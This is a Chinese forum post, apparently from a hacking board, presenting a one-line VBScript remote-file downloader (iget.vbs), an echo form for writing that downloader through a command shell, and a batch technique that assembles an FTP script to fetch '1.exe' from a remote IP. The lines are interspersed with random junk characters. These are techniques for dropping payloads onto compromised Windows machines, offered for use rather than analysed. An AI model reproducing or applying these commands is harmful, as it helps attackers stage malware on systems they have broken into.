- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
) n7 q4 N& Z8 q! o" h3 P( k, Z0 J1.iget.vbs一次写入
4 Z3 w& K6 B5 p1 ]# p1 R在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
* b, A1 p. q5 |3 K% d1 ~8 h" e6 t/ f8 s( z& w
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
9 b3 f* D9 u6 P+ i: U+ [
0 K. q+ Q6 T+ Z; Z1 A这样我们可以一次echo成功,echo版本: ( L, f$ D/ K9 ^& T( b6 g4 S
8 ^$ `! Q1 L7 B; S8 W. cecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs J. _. j1 w8 r3 ?, Y8 S& B
& x( k0 f0 p( l7 P- ^5 ?% ?; T
* s4 Y, s1 P; Q$ C
2.bat调用ftp脚本的写法(by envymask)
3 K) p( X% q0 C, M
' T8 k4 V- X: p: \3 e p! K! oecho ftp>1.vbs # ]9 g) u, }: J" f0 T; E: I* [; v
echo open ip>2.vbs : i) z8 _ U3 r9 G6 Z
echo u>3.vbs + Q' h1 E* j2 L6 |0 U
echo s>4.vbs / P3 C9 _7 S L1 U! n# m. O
echo binary>5.vbs
& n6 F, v8 K7 U' vecho get 1.exe>6.vbs
7 ^% K3 Q& _+ ?% i% Hecho bay>7.vbs S$ e0 Y4 q1 u$ y
% v, m* D, T" U i: q
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs , B3 A V: h2 K+ K, b4 m" B k, z: X, J
</P> |
zan
|